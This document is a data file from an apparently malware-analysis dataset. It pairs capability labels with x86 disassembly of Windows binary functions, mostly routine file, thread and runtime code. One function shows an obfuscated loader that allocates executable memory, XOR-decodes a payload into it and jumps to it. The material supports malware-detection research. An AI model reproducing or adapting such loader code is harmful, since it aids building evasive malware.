joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53452d
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
cmp dword [ebp + 8], eax
jle 0x534558
push esi
movzx edx, byte [ecx]
movzx edx, byte [edx + 0x6554d0]
mov esi, eax
shl esi, 3
xor edx, esi
xor eax, edx
inc ecx
dec dword [ebp + 8]
cmp dword [ebp + 8], 0
jg 0x53453a
pop esi
pop ebp
ret

Function at 0x5349f1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x20]
push edi
test eax, eax
je 0x534a34
cdq
push esi
mov esi, eax
add eax, dword [ebp + 0xc]
mov edi, edx
mov ecx, edx
adc ecx, dword [ebp + 0x10]
push edi
sub eax, 1
push esi
sbb ecx, 0
push ecx
push eax
call fcn.00578bb0
push edi
push esi
push edx
push eax
call fcn.00578b70
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], edx
pop esi
push dword [ebp + 0x10]
mov edi, ebx
push dword [ebp + 0xc]
call fcn.00534887
pop ecx
pop ecx
test eax, eax
jne 0x534a5d
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x534a64
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x10], eax
mov dword [ebp - 4], 0x60a
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret

Function at 0x534a94
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp + 8]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x534ac6
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x534ac6
mov dword [esi + 0x10], eax
mov eax, 0x70a
jmp 0x534ae6
push 1
push 0
push 0
push dword [ebp + 8]
call fcn.00578b70
mov ecx, eax
xor eax, eax
add ecx, edi
adc edx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov dword [eax + 4], edx
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x534deb
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00534db0
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x534e0f
push 7
pop eax
jmp 0x534e9e
push esi
call fcn.0053468a
test eax, eax
je 0x534e4e
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x534e3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 5
jne 0x534e83
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jge 0x534e83
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x534e19
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x534e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 5
jne 0x534e83
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jge 0x534e83
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x534e4e
push edi
call fcn.00573a92
pop ecx
cmp esi, 0xffffffff
pop esi
jne 0x534e99
cmp ebx, 2
jne 0x534e99
xor eax, eax
jmp 0x534e9e
mov eax, 0xa0a
pop edi
pop ebx
leave
ret
Function at 0x53ba17
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x6bd6f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x6d3984]
push ebx
push esi
test eax, eax
je 0x53ba53
push eax
push 0x68b260
lea eax, [ebp - 0x10c]
push eax
push 0xe6
call fcn.0053b257
add esp, 0x10
jmp 0x53bacb
call fcn.0053468a
mov esi, 0xe6
test eax, eax
je 0x53ba93
lea eax, [ebp - 0x314]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x314]
push eax
call fcn.00534742
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x53baaf
push 7
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0057340c
leave
ret
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x210]
push eax
call fcn.0053480a
jmp 0x53ba7b
push ebx
push 0x68b260
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.0053b257
push ebx
call fcn.00573a92
add esp, 0x14
mov ecx, str.etilqs_
call fcn.00533b29
lea ecx, [ebp - 0x10c]
mov edx, eax
call fcn.00533b29
lea eax, [edx + eax + 0x11]
mov edx, dword [ebp + 8]
cmp eax, edx
jl 0x53baf2
xor eax, eax
inc eax
jmp 0x53ba85
lea ecx, [ebp - 0x10c]
call fcn.00533b29
test eax, eax
jbe 0x53bb0b
dec ecx
cmp byte [ecx + eax], 0x5c
jne 0x53bb0b
dec eax
jne 0x53bb02
mov byte [ebp + eax - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
push str._setilqs_
add edx, 0xffffffef
push edi
push edx
call fcn.0053b257
mov ecx, edi
call fcn.00533b29
mov esi, eax
lea eax, [edi + esi]
push eax
push 0xf
call fcn.0053b413
add esp, 0x18
push 0xf
pop ecx
movzx eax, byte [edi + esi]
xor edx, edx
push 0x3e
pop ebx
div ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi], al
inc esi
dec ecx
jne 0x53bb43
mov byte [edi + esi], cl
xor eax, eax
jmp 0x53ba85
Function at 0x53bcf6
Capabilities:
Get disk size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x6bd6f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x10c]
push ecx
push 0x104
push eax
push dword [ebp + 8]
mov dword [ebp - 0x114], 0x200
call fcn.0053bc1e
add esp, 0x10
test eax, eax
jne 0x53bde0
push ebx
lea eax, [ebp - 0x10c]
push esi
push eax
call fcn.00534db0
mov esi, eax
xor ebx, ebx
pop ecx
cmp esi, ebx
je 0x53bdd4
push edi
call fcn.0053468a
test eax, eax
mov eax, esi
je 0x53bd97
cmp word [esi], bx
je 0x53bd78
cmp word [eax], 0x5c
je 0x53bd73
inc eax
inc eax
cmp word [eax], bx
jne 0x53bd64
jmp 0x53bd78
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x110]
push eax
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x53bdc6
cmp byte [esi], bl
je 0x53bda9
cmp byte [eax], 0x5c
je 0x53bda7
inc eax
cmp byte [eax], bl
jne 0x53bd9b
jmp 0x53bda9
mov byte [eax], bl
lea eax, [ebp - 0x110]
push eax
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
mov edi, eax
call fcn.00573a92
pop ecx
cmp edi, ebx
pop edi
jne 0x53bdde
mov dword [ebp - 0x114], 0x200
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x114]
xor ecx, ebp
call fcn.0057340c
leave
ret
Function at 0x53e386
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x53e4a0
test esi, esi
je 0x53e4a0
movzx edx, word [edi + 2]
mov eax, 0x800
mov ecx, edx
and ecx, eax
mov ebx, eax
cmp cx, bx
je 0x53e444
movzx ecx, word [esi + 2]
mov ebx, ecx
and ebx, eax
cmp bx, ax
je 0x53e444
xor cl, dl
test cl, 0x10
jne 0x53e444
mov al, byte [edi]
cmp al, byte [esi]
jne 0x53e444
push dword [esi + 8]
push dword [edi + 8]
call fcn.0053e386
pop ecx
pop ecx
test eax, eax
jne 0x53e444
push dword [esi + 0xc]
push dword [edi + 0xc]
call fcn.0053e386
pop ecx
pop ecx
test eax, eax
jne 0x53e444
mov ebx, dword [esi + 0x10]
mov edi, dword [edi + 0x10]
call fcn.00538572
test eax, eax
jne 0x53e444
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x18]
cmp eax, dword [esi + 0x18]
jne 0x53e444
mov ax, word [edi + 0x1c]
cmp ax, word [esi + 0x1c]
jne 0x53e444
movzx eax, word [edi + 2]
mov ecx, eax
mov eax, 0x400
and ecx, eax
mov edx, eax
cmp cx, dx
jne 0x53e449
mov cx, word [esi + 2]
and cx, dx
cmp cx, ax
jne 0x53e444
mov eax, dword [edi + 4]
cmp eax, dword [esi + 4]
je 0x53e473
push 2
pop eax
jmp 0x53e4ab
cmp byte [edi], 0x98
je 0x53e473
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x53e473
mov dx, word [esi + 2]
mov ebx, eax
and dx, bx
cmp dx, ax
je 0x53e444
mov edx, dword [esi + 4]
test edx, edx
je 0x53e444
call fcn.00533b9e
test eax, eax
jne 0x53e444
movzx ecx, word [edi + 2]
mov dx, word [esi + 2]
mov eax, 0x100
and ecx, eax
and dx, ax
cmp cx, dx
je 0x53e48f
xor eax, eax
inc eax
jmp 0x53e4ab
test cx, cx
je 0x53e49c
mov eax, dword [edi + 0x14]
cmp eax, dword [esi + 0x14]
jne 0x53e444
xor eax, eax
jmp 0x53e4ab
mov eax, esi
sub eax, edi
neg eax
sbb eax, eax
and eax, 2
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x541c8b
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x541c9f
xor eax, eax
jmp 0x541d8e
push esi
mov esi, dword [ebp + 8]
push 0x50
call fcn.0053af4f
mov esi, eax
pop ecx
test esi, esi
je 0x541d8d
push ebx
push dword [ebp + 0x10]
mov ebx, dword [edi]
push dword [ebp + 8]
call fcn.0053dfc0
push dword [ebp + 0x10]
mov dword [esi], eax
push dword [edi + 8]
push dword [ebp + 8]
call fcn.00541b61
push 0
push dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push eax
push dword [ebp + 8]
call fcn.00544407
push dword [ebp + 0x10]
mov dword [esi + 0xc], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x10]
call fcn.0053dfc0
push 0
push dword [ebp + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edi + 0x14]
push eax
push dword [ebp + 8]
call fcn.00544407
push dword [ebp + 0x10]
mov dword [esi + 0x14], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x18]
call fcn.0053dfc0
add esp, 0x44
push dword [ebp + 0x10]
mov dword [esi + 0x18], eax
mov al, byte [edi + 4]
mov byte [esi + 4], al
push dword [edi + 0x1c]
push dword [ebp + 8]
call fcn.00541c8b
xor ebx, ebx
push ebx
push dword [ebp + 0x10]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x28]
push eax
push dword [ebp + 8]
call fcn.00544407
push ebx
push dword [ebp + 0x10]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
push eax
push dword [ebp + 8]
call fcn.00544407
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov ax, word [edi + 6]
or dword [esi + 0x38], 0xffffffff
or dword [esi + 0x3c], 0xffffffff
mov ecx, 0xfff7
and ax, cx
add esp, 0x2c
or dword [esi + 0x40], 0xffffffff
mov word [esi + 6], ax
mov dword [esi + 0x24], ebx
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x54e065
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebx + 0x3c]
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ecx], edi
jne 0x54e098
mov eax, dword [ebx + 0x78]
push edi
push ecx
mov ecx, dword [ebx]
or eax, 0x1e
push edi
call fcn.0053366e
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x54e172
mov ecx, dword [ebx + 0x18]
cmp ecx, dword [ebx + 0x24]
jbe 0x54e0ce
mov eax, dword [ebx + 0x80]
push edi
cdq
push ecx
push edx
push eax
call fcn.00578b70
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x28]
mov eax, dword [ebx + 0x18]
add esp, 0xc
mov dword [ebx + 0x24], eax
push esi
jmp 0x54e0d3
xor edi, edi
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x54e171
mov edi, dword [esi + 0xc]
mov dword [ebp - 0xc], edi
cmp edi, dword [ebx + 0x18]
ja 0x54e161
test byte [esi + 0x14], 0x20
jne 0x54e161
mov eax, dword [ebx + 0x80]
cdq
push edx
push eax
lea ecx, [edi - 1]
push 0
push ecx
call fcn.00578b70
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
cmp edi, 1
jne 0x54e113
call fcn.005362c0
push dword [ebp - 0x10]
mov eax, dword [esi]
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebx + 0x80]
push eax
mov eax, dword [ebx + 0x3c]
call fcn.005335ff
add esp, 0x10
mov dword [ebp - 4], eax
cmp edi, 1
jne 0x54e14b
mov esi, dword [ebp - 8]
add esi, 0x18
lea edi, [ebx + 0x64]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp + 8]
cmp edi, dword [ebx + 0x20]
jbe 0x54e153
mov dword [ebx + 0x20], edi
push dword [esi]
mov eax, dword [ebx + 0x58]
call fcn.0054ad3e
mov esi, dword [ebp + 8]
pop ecx
cmp dword [ebp - 4], 0
mov eax, dword [esi + 8]
mov dword [ebp + 8], eax
je 0x54e0d1
pop esi
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x57340c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6bd6f8]
jne 0x573416
repz ret
jmp fcn.005822c9

Function at 0x57cddf
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x57ce10
call fcn.00578a64
mov dword [eax], esi
call fcn.00578a51
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.005741d4
add esp, 0x14
or eax, 0xffffffff
jmp 0x57ce4b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x57ce2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00578a77
pop ecx
jmp 0x57ce0b
test byte [ebp + 0xc], 0x80
je 0x57ce38
and eax, 0xfffffffe
jmp 0x57ce3b
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x57ce1e
xor eax, eax
pop esi
pop ebp
ret

Function at 0x57ce4e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x57ce7f
call fcn.00578a64
mov dword [eax], esi
call fcn.00578a51
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.005741d4
add esp, 0x14
push 0x16
pop eax
jmp 0x57ced4
test dword [ebp + 0xc], 0xfffffff9
jne 0x57ce5b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x57ceac
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00578a77
pop ecx
call fcn.00578a51
mov eax, dword [eax]
jmp 0x57ced4
test al, 0x10
jne 0x57ced2
test al, 1
je 0x57ced2
test byte [ebp + 0xc], 2
je 0x57ced2
call fcn.00578a64
mov dword [eax], 5
call fcn.00578a51
mov dword [eax], 0xd
jmp 0x57cea3
xor eax, eax
pop esi
pop ebp
ret
Function at 0x592990
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00582c54
and dword [ebp - 4], 0
cmp dword [0x6d5cc0], 0
mov ebx, eax
jne 0x592a41
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x592af2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x592af2
push eax
call fcn.00582be2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x6d5cc0], eax
call esi
push eax
call fcn.00582be2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x6d5cc4], eax
call esi
push eax
call fcn.00582be2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x6d5cc8], eax
call esi
push eax
call fcn.00582be2
pop ecx
mov dword [0x6d5cd0], eax
test eax, eax
je 0x592a41
push 0x66e670
push edi
call esi
push eax
call fcn.00582be2
pop ecx
mov dword [0x6d5ccc], eax
mov eax, dword [0x6d5ccc]
cmp eax, ebx
je 0x592a99
cmp dword [0x6d5cd0], ebx
je 0x592a99
push eax
call fcn.00582c5d
push dword [0x6d5cd0]
mov esi, eax
call fcn.00582c5d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x592a99
test edi, edi
je 0x592a99
call esi
test eax, eax
je 0x592a90
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x592a90
test byte [ebp - 0xc], 1
jne 0x592a99
or dword [ebp + 0x10], 0x200000
jmp 0x592ad2
mov eax, dword [0x6d5cc4]
cmp eax, ebx
je 0x592ad2
push eax
call fcn.00582c5d
pop ecx
test eax, eax
je 0x592ad2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x592ad2
mov eax, dword [0x6d5cc8]
cmp eax, ebx
je 0x592ad2
push eax
call fcn.00582c5d
pop ecx
test eax, eax
je 0x592ad2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x6d5cc0]
call fcn.00582c5d
pop ecx
test eax, eax
je 0x592af2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x592af4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10027d40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10027d4f
pop dword [ebp - 0x48]
mov eax, 0x8967f298
sub eax, 0x79657549
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x82cfd3d3
add dword [ebp - 0x58], 0xcb827178
mov dword [ebp - 0x54], 0x45f11f7c
add dword [ebp - 0x54], 0xec422cc9
mov dword [ebp - 0x50], 0x30f292e0
sub dword [ebp - 0x50], 0xe4a64eb2
mov dword [ebp - 0x4c], 0x12819853
add dword [ebp - 0x4c], 0xed7e67ad
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x94b8e8af
sub dword [ebp - 0x58], 0x20467f59
mov dword [ebp - 0x54], 0x52e8215f
sub dword [ebp - 0x54], 0x117bbfea
mov dword [ebp - 0x50], 0x80cb8cbd
sub dword [ebp - 0x50], 0x1d5c2051
mov dword [ebp - 0x4c], 0xb4e56ff3
sub dword [ebp - 0x4c], 0xb4e56ff3
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x364d61ae
add eax, 0xd9b69e82
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x43570
push 0
call eax
mov ecx, 0x3e9b98f7
add ecx, 0xc164a310
mov edi, eax
mov ebx, 0x3c2aa90
add ebx, 0xc42c370
add ebx, dword [ebp - 0x48]
mov edx, 0x8f3505a8
sub edx, 0x7edea40d
xor dword [ebp - 0x20], eax
mov esi, dword [ebx]
xor dword [ebp - 0x3c], ebx
xor esi, edx
mov dword [edi], esi
add dword [ebp - 0x34], 0x420a9d1d
add edi, 0x8e83fa00
add edi, 0x717c0604
add ebx, 0x5f2c8425
sub ebx, 0x5f2c8421
loop 0x10027e6c
add eax, 0xe2ef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10027d40
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
Function at 0x10036f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ecf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f37c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004f338]
cmp eax, 0xffffffff
jne 0x10036fb6
xor ebx, ebx
jmp 0x10036fbf
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10036fff
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003703e
test esi, esi
jne 0x10037042
push 0x10035760
push 0x10050e58
call fcn.10027d40
mov eax, dword [0x1004f338]
add esp, 8
cmp eax, 0xffffffff
je 0x10036fff
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003702c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003702c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10037084
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003706d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10037042
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036fd0
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100370a9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100370a9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.10027d40
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10037090
jmp 0x10036fd0

Function at 0x100370d0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x10]
push eax
push 4
push edx
push 0x10037130
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x100370fa
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esi]
push edi
add eax, 4
lock inc dword [eax]
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x10037118
cmp eax, 0xffffffff
je 0x10037118
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret